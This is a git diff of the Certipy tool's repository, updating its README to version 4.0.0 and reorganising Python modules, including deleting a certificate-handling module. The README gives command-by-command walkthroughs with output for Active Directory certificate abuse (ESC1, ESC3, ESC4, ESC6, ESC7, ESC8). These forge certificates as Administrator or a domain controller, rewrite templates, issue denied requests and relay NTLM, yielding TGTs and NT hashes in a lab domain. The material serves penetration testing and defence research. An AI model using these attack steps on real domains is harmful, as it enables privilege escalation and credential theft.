possible to use the `cert` command to extract the private key and cer ```bash $ certipy cert -pfx john.pfx -Certipy v2.0.8 - by Oliver Lyak (ly4k) +Certipy v4.0.0 - by Oliver Lyak (ly4k) -----BEGIN CERTIFICATE----- MIIF1DCCBLygAwIBAgITFwAAA... @@ -429,14 +506,15 @@ MIIEvgIBADANBgkqhkiG9w0BA... If you only want the certificate or the private key, you can specify `-nokey` or `-nocert`, respectively. ```bash -$ certipy cert -pfx john.pfx -nokey -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy cert -pfx john.pfx -nokey +Certipy v4.0.0 - by Oliver Lyak (ly4k) -----BEGIN CERTIFICATE----- MIIF1DCCBLygAwIBAgITFwAAA... -----END CERTIFICATE----- + $ certipy cert -pfx john.pfx -nocert -Certipy v2.0.8 - by Oliver Lyak (ly4k) +Certipy v4.0.0 - by Oliver Lyak (ly4k) -----BEGIN PRIVATE KEY----- MIIEvgIBADANBgkqhkiG9w0BA... @@ -445,28 +523,50 @@ MIIEvgIBADANBgkqhkiG9w0BA... ### Domain Escalation -The following sections describe how to abuse various misconfigurations for domain escalations with Certipy. Certipy supports ESC1, ESC2, ESC3, ESC4, ESC6, ESC7, and ESC8. All escalation techniques are described in depth in [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2). +The following sections describe how to abuse various misconfigurations for domain escalations with Certipy. Certipy supports ESC1, ESC2, ESC3, ESC4, ESC6, ESC7, and ESC8. All escalation techniques are described in depth in [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2) and practical examples can be found in my blog post on the [Certipy 2.0](https://research.ifcr.dk/34d1c26f0dc6) release. Furthermore, ESC9 and ESC10 can be abused as well, but is not directly related to specific features of Certipy. #### ESC1 ESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN). -For ESC1, we can request a certificate based on the vulnerable certificate template and specify an arbitrary SAN with the `-alt` parameter. +For ESC1, we can request a certificate based on the vulnerable certificate template and specify an arbitrary UPN or DNS SAN with the `-upn` and `-dns` parameter, respectively. ```bash -$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local' -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -template ESC1-Test -upn administrator@corp.local -dns dc.corp.local +Certipy v4.0.0 - by Oliver Lyak (ly4k) -[*] Requesting certificate +[*] Requesting certificate via RPC [*] Successfully requested certificate -[*] Request ID is 659 -[*] Got certificate with UPN 'administrator@corp.local' -[*] Saved certificate and private key to 'administrator.pfx' +[*] Request ID is 780 +[*] Got certificate with multiple identifications + UPN: 'administrator@corp.local' + DNS Host Name: 'dc.corp.local' +[*] Certificate has no object SID +[*] Saved certificate and private key to 'administrator_dc.pfx' +``` + +It is also possible to specify only a UPN or a DNS. In the case where both a UPN and DNS are specified, the `auth` command will ask you which identity to authenticate as. + +```bash +$ certipy auth -pfx administrator_dc.pfx -dc-ip 172.16.126.128 +Certipy v4.0.0 - by Oliver Lyak (ly4k) + +[*] Found multiple identifications in certificate +[*] Please select one: + [0] UPN: 'administrator@corp.local' + [1] DNS Host Name: 'dc.corp.local' +> 1 +[*] Using principal: dc$@corp.local +[*] Trying to get TGT... +[*] Got TGT +[*] Saved credential cache to 'dc.ccache' +[*] Trying to retrieve NT hash for 'dc$' +[*] Got NT hash for 'dc$@corp.local': 36a50f712629962b3d5a3641529187b0 ``` #### ESC2 -ESC2 is when a certificate template can be used for any purpose. Since the certificate can be used for any purpose, it can be used for the same technique as with ESC3. See below. +ESC2 is when a certificate template can be used for any purpose. Since the certificate can be used for any purpose, it can be used for the same technique as with ESC3 for most certificate templates. See below. #### ESC3 @@ -475,29 +575,45 @@ ESC3 is when a certificate template specifies the Certificate Request Agent EKU First, we must request a certificate based on the vulnerable certificate template ESC3. ```bash -$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3' -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -template ESC3-Test +Certipy v4.0.0 - by Oliver Lyak (ly4k) -[*] Requesting certificate +[*] Requesting certificate via RPC [*] Successfully requested certificate -[*] Request ID is 665 -[*] Got certificate with UPN 'john@corp.local' +[*] Request ID is 781 +[*] Got certificate with UPN 'JOHN@corp.local' +[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-1103' [*] Saved certificate and private key to 'john.pfx' ``` We can then use the Certificate Request Agent certificate (`-pfx`) to request a certificate on behalf of other another user by specifying the `-on-behalf-of`. The `-on-behalf-of` parameter value must be in the form of `domain\user`, and not the FQDN of the domain, i.e. `corp` rather than `corp.local`. ```bash -$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx' -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -template User -on-behalf-of 'corp\Administrator' -pfx john.pfx +Certipy v4.0.0 - by Oliver Lyak (ly4k) -[*] Requesting certificate +[*] Requesting certificate via RPC [*] Successfully requested certificate -[*] Request ID is 666 -[*] Got certificate with UPN 'administrator@corp.local' +[*] Request ID is 782 +[*] Got certificate with UPN 'Administrator@corp.local' +[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500' [*] Saved certificate and private key to 'administrator.pfx' ``` +And finally, we can use the new certificate to authenticate as `corp\Administrator`. + +```bash +$ certipy auth -pfx administrator.pfx -dc-ip 172.16.126.128 +Certipy v4.0.0 - by Oliver Lyak (ly4k) + +[*] Using principal: administrator@corp.local +[*] Trying to get TGT... +[*] Got TGT +[*] Saved credential cache to 'administrator.ccache' +[*] Trying to retrieve NT hash for 'administrator' +[*] Got NT hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889 +``` + #### ESC4 ESC4 is when a user has write privileges over a certificate template. This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to ESC1. @@ -507,61 +623,76 @@ By default, Certipy will overwrite the configuration to make it vulnerable to ES We can specify the `-save-old` parameter to save the old configuration, which is useful for restoring the configuration afterwards. ```bash -$ certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old +Certipy v4.0.0 - by Oliver Lyak (ly4k) -[*] Saved old configuration for 'ESC4' to 'ESC4.json' -[*] Updating certificate template 'ESC4' -[*] Successfully updated 'ESC4' +[*] Saved old configuration for 'ESC4-Test' to 'ESC4-Test.json' +[*] Updating certificate template 'ESC4-Test' +[*] Successfully updated 'ESC4-Test' ``` The certificate template is now vulnerable to the ESC1 technique. -Therefore, we can now request a certificate based on the ESC4 template and specify an arbitrary SAN with the `-alt` parameter. +Therefore, we can now request a certificate based on the ESC4 template and specify an arbitrary SAN with the `-upn` or `-dns` parameter. ```bash -$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local' -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -template ESC4-Test -upn administrator@corp.local +Certipy v4.0.0 - by Oliver Lyak (ly4k) -[*] Requesting certificate +[*] Requesting certificate via RPC [*] Successfully requested certificate -[*] Request ID is 671 +[*] Request ID is 783 [*] Got certificate with UPN 'administrator@corp.local' +[*] Certificate has no object SID [*] Saved certificate and private key to 'administrator.pfx' + ``` If you want to restore the old configuration, you can specify the path to the saved configuration with the `-configuration` parameter. ```bash -$ certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json +Certipy v4.0.0 - by Oliver Lyak (ly4k) -[*] Updating certificate template 'ESC4' -[*] Successfully updated 'ESC4' +[*] Updating certificate template 'ESC4-Test' +[*] Successfully updated 'ESC4-Test' ``` #### ESC6 -ESC6 is when the CA specifies the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag. This flag allows the enrollee to specify an arbitrary SAN on all certificates despite a certificate template's configuration. +ESC6 is when the CA specifies the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag. This flag allows the enrollee to specify an arbitrary SAN on all certificates despite a certificate template's configuration. After the patch for my reported vulnerability [CVE-2022–26923](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4), this technique no longer works alone, but must be combined with [ESC10](https://research.ifcr.dk/7237d88061f7). -The attack is the same as ESC1, except that you can choose any certificate template that permits client authentication. +The attack is the same as ESC1, except that you can choose any certificate template that permits client authentication. After the May 2022 security updates, new certificates will have a securiy extension that embeds the requester's `objectSid` property. For ESC1, this property will be reflected from the SAN specified, but with ESC6, this property reflects the requester's `objectSid`, and not from the SAN. Notice that the objectSid changes depending on the requester in the following example. ```bash -$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -alt 'administrator@corp.local' -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -template User -upn administrator@corp.local +Certipy v4.0.0 - by Oliver Lyak (ly4k) + +[*] Requesting certificate via RPC +[*] Successfully requested certificate +[*] Request ID is 2 +[*] Got certificate with UPN 'administrator@corp.local' +[*] Certificate object SID is 'S-1-5-21-2496215469-2694655311-2823030825-1103' +[*] Saved certificate and private key to 'administrator.pfx' + +$ certipy req -username administrator@corp.local -password Passw0rd! -ca corp-DC-CA -template User -upn administrator@corp.local +Certipy v4.0.0 - by Oliver Lyak (ly4k) -[*] Requesting certificate +[*] Requesting certificate via RPC [*] Successfully requested certificate -[*] Request ID is 673 +[*] Request ID is 3 [*] Got certificate with UPN 'administrator@corp.local' +[*] Certificate object SID is 'S-1-5-21-2496215469-2694655311-2823030825-500' [*] Saved certificate and private key to 'administrator.pfx' ``` +This would not happen if the certificate was vulnerable to ESC1. As such, to abuse ESC6, the environment must be vulnerable to ESC10 (Weak Certificate Mappings), where the SAN is preferred over the new security extension. + #### ESC7 ESC7 is when a user has the `Manage CA` or `Manage Certificates` access right on a CA. There are no public techniques that can abuse the `Manage Certificates` access right for domain privilege escalation, but it can be used it to issue or deny pending certificate requests. -The ["Certified Pre-Owned"](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) whitepaper mentions that this access right can be used to enable the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag to perform the ESC6 attack, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to restart the service. However, it does not mean that the user can restart the service remotely. +The ["Certified Pre-Owned"](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) whitepaper mentions that this access right can be used to enable the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag to perform the ESC6 attack, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to restart the service. However, it does not mean that the user can restart the service remotely. Furthermore, ESC6 might not work out of the box in most patched environments due to the May 2022 security updates. Instead, I've found another technique that doesn't require any service restarts or configuration changes. @@ -569,28 +700,26 @@ Instead, I've found another technique that doesn't require any service restarts In order for this technique to work, the user must also have the `Manage Certificates` access right, and the certificate template `SubCA` must be enabled. With the `Manage CA` access right, we can fulfill these prerequisites. -The technique relies on the fact that users with the `Manage CA` *and* `Manage Certificates` access right can issue failed certificate requests. The `SubCA` certificate template is vulnerable to ESC1, but only administrators can enroll in the template. A user can request to enroll in the `SubCA` - which will be denied - but then issued by the manager afterwards. +The technique relies on the fact that users with the `Manage CA` *and* `Manage Certificates` access right can issue failed certificate requests. The `SubCA` certificate template is vulnerable to ESC1, but only administrators can enroll in the template. Thus, a user can request to enroll in the `SubCA` - which will be denied - but then issued by the manager afterwards. If you only have the `Manage CA` access right, you can grant yourself the `Manage Certificates` access right by adding your user as a new officer. ```bash -$ certipy ca 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -add-officer 'john' -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd +Certipy v4.0.0 - by Oliver Lyak (ly4k) -[*] Successfully added officer 'john' on 'corp-CA' +[*] Successfully added officer 'John' on 'corp-DC-CA' ``` -The `SubCA` template can be enabled on the CA with the `-enable-template` parameter. +The `SubCA` template can be enabled on the CA with the `-enable-template` parameter. By default, the `SubCA` template is enabled. ```bash -$ certipy ca 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -enable-template 'SubCA' -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd +Certipy v4.0.0 - by Oliver Lyak (ly4k) -[*] Successfully enabled 'SubCA' on 'corp-CA' +[*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -By default, the `SubCA` template is enabled. - **Attack** If we have fulfilled the prerequisites for this attack, we can start by requesting a certificate based on the `SubCA` template. @@ -598,21 +727,22 @@ If we have fulfilled the prerequisites for this attack, we can start by requesti This request will be denied, but we will save the private key and note down the request ID. ```bash -$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'SubCA' -alt 'administrator@corp.local' -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -template SubCA -upn administrator@corp.local +Certipy v4.0.0 - by Oliver Lyak (ly4k) -[*] Requesting certificate +[*] Requesting certificate via RPC [-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate. -[*] Request ID is 674 +[*] Request ID is 785 Would you like to save the private key? (y/N) y -[*] Saved private key to 674.key +[*] Saved private key to 785.key +[-] Failed to request certificate ``` With our `Manage CA` and `Manage Certificates`, we can then issue the failed certificate request with the `ca` command and the `-issue-request ` parameter. ```bash -$ certipy ca 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -issue-request 674 -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd +Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate ``` @@ -620,13 +750,14 @@ Certipy v2.0.8 - by Oliver Lyak (ly4k) And finally, we can retrieve the issued certificate with the `req` command and the `-retrieve ` parameter. ```bash -$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -retrieve 674 -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -retrieve 785 +Certipy v4.0.0 - by Oliver Lyak (ly4k) -[*] Rerieving certificate with ID 674 +[*] Rerieving certificate with ID 785 [*] Successfully retrieved certificate [*] Got certificate with UPN 'administrator@corp.local' -[*] Loaded private key from '674.key' +[*] Certificate has no object SID +[*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` @@ -641,20 +772,22 @@ By default, Certipy will request a certificate based on the `Machine` or `User` We can then use a technique such as [PetitPotam](https://github.com/ly4k/PetitPotam) to coerce authentication. For domain controllers, we must specify `-template DomainController`. ```bash -$ certipy relay -ca 172.16.19.100 -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy relay -ca ca.corp.local +Certipy v4.0.0 - by Oliver Lyak (ly4k) -[*] Targeting http://172.16.19.100/certsrv/certfnsh.asp +[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp [*] Listening on 0.0.0.0:445 -[*] Setting up SMB Server -[*] SMBD-Thread-2: Connection from CORP/ADMINISTRATOR@172.16.19.101 controlled, attacking target http://172.16.19.100 -[*] Authenticating against http://172.16.19.100 as CORP/ADMINISTRATOR SUCCEED [*] Requesting certificate for 'CORP\\Administrator' based on the template 'User' -[*] Got certificate with UPN 'administrator@corp.local' +[*] Got certificate with UPN 'Administrator@corp.local' +[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500' [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` +#### ESC9 & ESC10 + +ESC9 and ESC10 is not related to any specific Certipy commands or parameters, but can be abused with Certipy. See the [blog post](https://research.ifcr.dk/7237d88061f7) for more information. + ## Contact Please submit any bugs, issues, questions, or feature requests under "Issues" or send them to me on Twitter [@ly4k_](https://twitter.com/ly4k_). @@ -666,4 +799,5 @@ Please submit any bugs, issues, questions, or feature requests under "Issues" or - [ShutdownRepo](https://github.com/ShutdownRepo) for [PyWhisker](https://github.com/ShutdownRepo/pywhisker) - [zer1t0](https://github.com/zer1t0) for [certi](https://github.com/zer1t0/certi) - [Ex Android Dev](https://github.com/ExAndroidDev) and [Tw1sm](https://github.com/Tw1sm) for Impacket's [adcsattack.py](https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py) -- [SecureAuthCorp](https://github.com/SecureAuthCorp) for [Impacket](https://github.com/SecureAuthCorp/impacket) \ No newline at end of file +- [SecureAuthCorp](https://github.com/SecureAuthCorp) and all the [contributors](https://github.com/SecureAuthCorp/impacket/graphs/contributors) for [Impacket](https://github.com/SecureAuthCorp/impacket) +- [skelsec](https://github.com/skelsec) for [pypykatz](https://github.com/skelsec/pypykatz) \ No newline at end of file diff --git a/certipy/__init__.py b/certipy/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/certipy/certificate.py b/certipy/certificate.py deleted file mode 100644 index 71c6c00..0000000 --- a/certipy/certificate.py +++ /dev/null @@ -1,375 +0,0 @@ -import argparse -import logging -import sys -from typing import Callable, Tuple - -from asn1crypto import cms as asn1cms -from asn1crypto import core as asn1core -from asn1crypto import x509 as asn1x509 -from cryptography import x509 -from cryptography.hazmat.primitives import hashes, serialization -from cryptography.hazmat.primitives.asymmetric import padding, rsa -from cryptography.hazmat.primitives.serialization import ( - Encoding, - NoEncryption, - PrivateFormat, - pkcs12, -) -from cryptography.x509.oid import ExtensionOID, NameOID -from impacket.dcerpc.v5.nrpc import checkNullString -from pyasn1.codec.der import decoder, encoder -from pyasn1.type.char import UTF8String - -NAME = "cert" - -PRINCIPAL_NAME = x509.ObjectIdentifier("1.3.6.1.4.1.311.20.2.3") - -NTDS_CA_SECURITY_EXT = x509.ObjectIdentifier("1.3.6.1.4.1.311.25.2") - - -class EnrollmentNameValuePair(asn1core.Sequence): - _fields = [ - ("name", asn1core.BMPString), - ("value", asn1core.BMPString), - ] - - -class EnrollmentNameValuePairs(asn1core.SetOf): - _child_spec = EnrollmentNameValuePair - - -def csr_to_der(csr: x509.CertificateSigningRequest) -> bytes: - return csr.public_bytes(Encoding.DER) - - -def csr_to_pem(csr: x509.CertificateSigningRequest) -> bytes: - return csr.public_bytes(Encoding.PEM) - - -def cert_to_pem(cert: x509.Certificate) -> bytes: - return cert.public_bytes(Encoding.PEM) - - -def cert_to_der(cert: x509.Certificate) -> bytes: - return cert.public_bytes(Encoding.DER) - - -def key_to_pem(key: rsa.RSAPrivateKey) -> bytes: - return key.private_bytes( - Encoding.PEM, PrivateFormat.PKCS8, encryption_algorithm=NoEncryption() - ) - - -def der_to_key(key: bytes) -> rsa.RSAPrivateKey: - return serialization.load_der_private_key(key, None) - - -def pem_to_key(key: bytes) -> rsa.RSAPrivateKey: - return serialization.load_pem_private_key(key, None) - - -def der_to_cert(certificate: bytes) -> x509.Certificate: - return x509.load_der_x509_certificate(certificate) - - -def pem_to_cert(certificate: bytes) -> x509.Certificate: - return x509.load_pem_x509_certificate(certificate) - - -def get_id_from_certificate( - certificate: x509.Certificate, -) -> Tuple[str, str]: - try: - san = certificate.extensions.get_extension_for_oid( - ExtensionOID.SUBJECT_ALTERNATIVE_NAME - ) - - for name in san.value.get_values_for_type(x509.OtherName): - if name.type_id == PRINCIPAL_NAME: - return ( - "UPN", - decoder.decode(name.value, asn1Spec=UTF8String)[0].decode(), - ) - - for name in san.value.get_values_for_type(x509.DNSName): - return "DNS Host Name", name - except: - pass - - return None, None - - -def get_object_sid_from_certificate( - certificate: x509.Certificate, -) -> Tuple[str, str]: - try: - object_sid = certificate.extensions.get_extension_for_oid( - NTDS_CA_SECURITY_EXT - ) - - sid = object_sid.value.value - return sid[sid.find(b'S-1-5'):].decode() - except: - pass - - return None - - -def create_pfx(key: rsa.RSAPrivateKey, cert: x509.Certificate) -> bytes: - return pkcs12.serialize_key_and_certificates( - name=b"", - key=key, - cert=cert, - cas=None, - encryption_algorithm=NoEncryption(), - ) - - -def load_pfx( - pfx: bytes, password: bytes = None -) -> Tuple[rsa.RSAPrivateKey, x509.Certificate, None]: - return pkcs12.load_key_and_certificates(pfx, password)[:-1] - - -def generate_rsa_key() -> rsa.RSAPrivateKey: - return rsa.generate_private_key(public_exponent=0x10001, key_size=2048) - - -def create_csr( - username: str, alt_name: bytes = None, key: rsa.RSAPrivateKey = None -) -> Tuple[x509.CertificateSigningRequest, rsa.RSAPrivateKey]: - if key is None: - logging.debug("Generating RSA key") - key = generate_rsa_key() - - csr = x509.CertificateSigningRequestBuilder() - - csr = csr.subject_name( - x509.Name( - [ - x509.NameAttribute(NameOID.COMMON_NAME, username), - ] - ) - ) - - if alt_name: - if type(alt_name) == str: - alt_name = alt_name.encode() - alt_name = encoder.encode(UTF8String(alt_name)) - - csr = csr.add_extension( - x509.SubjectAlternativeName( - [ - x509.OtherName(PRINCIPAL_NAME, alt_name), - ] - ), - critical=False, - ) - - return (csr.sign(key, hashes.SHA256()), key) - - -def rsa_pkcs1v15_sign( - data: bytes, key: rsa.RSAPrivateKey, hash: hashes.HashAlgorithm = hashes.SHA256 -): - return key.sign(data, padding.PKCS1v15(), hash()) - - -def hash_digest(data: bytes, hash: hashes.Hash): - digest = hashes.Hash(hash()) - digest.update(data) - return digest.finalize() - - -def create_cms( - request: bytes, on_behalf_of: str, cert: x509.Certificate, key: rsa.RSAPrivateKey -): - signature_hash_algorithm = cert.signature_hash_algorithm.__class__ - cert = asn1x509.Certificate.load(cert_to_der(cert)) - content_info = asn1cms.ContentInfo() - content_info["content_type"] = "data" - content_info["content"] = request - - issuer_and_serial = asn1cms.IssuerAndSerialNumber() - issuer_and_serial["issuer"] = cert.issuer - issuer_and_serial["serial_number"] = cert.serial_number - - digest_algorithm = asn1cms.DigestAlgorithm() - digest_algorithm["algorithm"] = signature_hash_algorithm.name - - name_value_pairs = EnrollmentNameValuePairs() - requester_name = EnrollmentNameValuePair() - requester_name["name"] = checkNullString("requestername") - requester_name["value"] = checkNullString(on_behalf_of) - name_value_pairs.append(requester_name) - name_value_pairs_attrib = asn1cms.CMSAttribute() - asn1cms.CMSAttribute._oid_specs["1.3.6.1.4.1.311.13.2.1"] = EnrollmentNameValuePairs - name_value_pairs_attrib["type"] = "1.3.6.1.4.1.311.13.2.1" - name_value_pairs_attrib["values"] = name_value_pairs - - signed_attribs = asn1cms.CMSAttributes() - signed_attribs.append(name_value_pairs_attrib) - att = asn1cms.CMSAttribute() - att["type"] = "message_digest" - att["values"] = [hash_digest(request, signature_hash_algorithm)] - signed_attribs.append(att) - - attribs_signature = rsa_pkcs1v15_sign( - signed_attribs.dump(), key, hash=signature_hash_algorithm - ) - - signer_info = asn1cms.SignerInfo() - signer_info["version"] = 1 - signer_info["sid"] = issuer_and_serial - signer_info["digest_algorithm"] = digest_algorithm - signer_info["signature_algorithm"] = cert["signature_algorithm"] - signer_info["signature"] = attribs_signature - signer_info["signed_attrs"] = signed_attribs - - signed_info_attribs = asn1cms.SignerInfo() - signed_info_attribs["version"] = 1 - signed_info_attribs["sid"] = issuer_and_serial - signed_info_attribs["digest_algorithm"] = digest_algorithm - signed_info_attribs["signature_algorithm"] = cert["signature_algorithm"] - signed_info_attribs["signature"] = attribs_signature - signed_info_attribs["signed_attrs"] = signed_attribs - - signer_infos = asn1cms.SignerInfos() - signer_infos.append(signer_info) - - digest_algorithms = asn1cms.DigestAlgorithms() - digest_algorithms.append(digest_algorithm) - - certificate_choice = asn1cms.CertificateChoices("certificate", cert) - certificate_set = asn1cms.CertificateSet() - certificate_set.append(certificate_choice) - - signed_data = asn1cms.SignedData() - signed_data["version"] = 1 - signed_data["digest_algorithms"] = digest_algorithms - signed_data["encap_content_info"] = content_info - signed_data["certificates"] = certificate_set - signed_data["signer_infos"] = signer_infos - - outer_content_info = asn1cms.ContentInfo() - outer_content_info["content_type"] = "signed_data" - outer_content_info["content"] = signed_data - - return outer_content_info.dump() - - -def entry(options: argparse.Namespace) -> None: - cert, key = None, None - - if not any([options.pfx, options.cert, options.key]): - logging.error("-pfx, -cert, or -key is required") - return - - if options.pfx: - password = None - if options.password: - logging.debug( - "Loading PFX %s with password %s" % (repr(options.pfx), password) - ) - password = options.password.encode() - else: - logging.debug("Loading PFX %s without password" % repr(options.pfx)) - - with open(options.pfx, "rb") as f: - pfx = f.read() - - key, cert = load_pfx(pfx, password) - - if options.cert: - logging.debug("Loading certificate from %s" % repr(options.cert)) - - with open(options.cert, "rb") as f: - cert = f.read() - try: - cert = pem_to_cert(cert) - except Exception: - cert = der_to_cert(cert) - - if options.key: - logging.debug("Loading private key from %s" % repr(options.cert)) - - with open(options.key, "rb") as f: - key = f.read() - try: - key = pem_to_key(key) - except Exception: - key = der_to_key(key) - - if options.export: - pfx = create_pfx(key, cert) - if options.out: - logging.info("Writing PFX to %s" % repr(options.out)) - - with open(options.out, "wb") as f: - f.write(pfx) - else: - sys.stdout.buffer.write(pfx) - else: - output = "" - log_str = "" - if cert and not options.nocert: - output += cert_to_pem(cert).decode() - log_str += "certificate" - if key: - log_str += " and " - - if key and not options.nokey: - output += key_to_pem(key).decode() - log_str += "private key" - - if len(output) == 0: - logging.error("Output is empty") - return - - if options.out: - logging.info("Writing %s to %s" % (log_str, repr(options.out))) - - with open(options.out, "w") as f: - f.write(output) - else: - print(output) - - -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Manage certificates and private keys") - - subparser.add_argument( - "-pfx", action="store", metavar="infile", help="Load PFX from file" - ) - - subparser.add_argument( - "-password", action="store", metavar="password", help="Set import password" - ) - - subparser.add_argument( - "-key", action="store", metavar="infile", help="Load private key from file" - ) - - subparser.add_argument( - "-cert", action="store", metavar="infile", help="Load certificate from file" - ) - - subparser.add_argument("-export", action="store_true", help="Output PFX file") - - subparser.add_argument( - "-out", action="store", metavar="outfile", help="Output filename" - ) - - subparser.add_argument( - "-nocert", - action="store_true", - help="Don't output certificate", - ) - - subparser.add_argument( - "-nokey", action="store_true", help="Don't output private key" - ) - - subparser.add_argument("-debug", action="store_true", help="Turn debug output on") - - return NAME, entry diff --git a/certipy/commands/__init__.py b/certipy/commands/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/certipy/account.py b/certipy/commands/account.py old mode 100644 new mode 100755 similarity index 79% rename from certipy/account.py rename to certipy/commands/account.py index 2054fd5..1ce66e5 --- a/certipy/account.py +++ b/certipy/commands/account.py @@ -1,17 +1,13 @@ import argparse -import logging -from typing import Callable, Tuple -import logging import random import string -import ldap3 -from certipy import target -from certipy.formatting import pretty_print -from certipy.ldap import LDAPConnection -from certipy.target import Target +import ldap3 -NAME = "account" +from certipy.lib.formatting import pretty_print +from certipy.lib.ldap import LDAPConnection +from certipy.lib.logger import logging +from certipy.lib.target import Target class Account: @@ -23,7 +19,7 @@ def __init__( upn: str = None, sam: str = None, spns: str = None, - password: str = None, + passw: str = None, group: str = None, scheme: str = "ldaps", connection: LDAPConnection = None, @@ -37,7 +33,7 @@ def __init__( self.upn = upn self.sam = sam self.spns = spns - self.password = password + self.password = passw self.group = group self.scheme = scheme self._connection = connection @@ -269,7 +265,7 @@ def delete(self): def entry(options: argparse.Namespace) -> None: - target = Target.from_options(options) + target = Target.from_options(options, dc_as_target=True) del options.target account = Account(target, **vars(options)) @@ -282,69 +278,3 @@ def entry(options: argparse.Namespace) -> None: } actions[options.account_action]() - - -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Manage user and machine accounts") - - subparser.add_argument("-debug", action="store_true", help="Turn debug output on") - - subparser.add_argument( - "account_action", - choices=["create", "read", "update", "delete"], - help="Action", - ) - - group = subparser.add_argument_group("target") - group.add_argument( - "-user", - action="store", - metavar="SAM Account Name", - help="Logon name for the account to target", - required=True, - ) - group.add_argument( - "-group", - action="store", - metavar="CN=Computers,DC=test,DC=local", - help="Group to which the account will be added." - "If omitted, CN=Computers, will be used,", - ) - group = subparser.add_argument_group("attribute options") - group.add_argument( - "-dns", - action="store", - metavar="Set the DNS host name for the account", - ) - group.add_argument( - "-upn", - action="store", - metavar="Set the UPN for the account", - ) - group.add_argument( - "-sam", - action="store", - metavar="Set the SAM Account Name for the account", - ) - group.add_argument( - "-spns", - action="store", - metavar="Set the SPNS for the account (comma-separated)", - ) - group.add_argument( - "-password", - action="store", - metavar="Set the password for the account", - ) - group = subparser.add_argument_group("connection options") - group.add_argument( - "-scheme", - action="store", - metavar="ldap scheme", - choices=["ldap", "ldaps"], - default="ldaps", - ) - - target.add_argument_group(subparser, connection_options=group) - - return NAME, entry diff --git a/certipy/auth.py b/certipy/commands/auth.py old mode 100644 new mode 100755 similarity index 66% rename from certipy/auth.py rename to 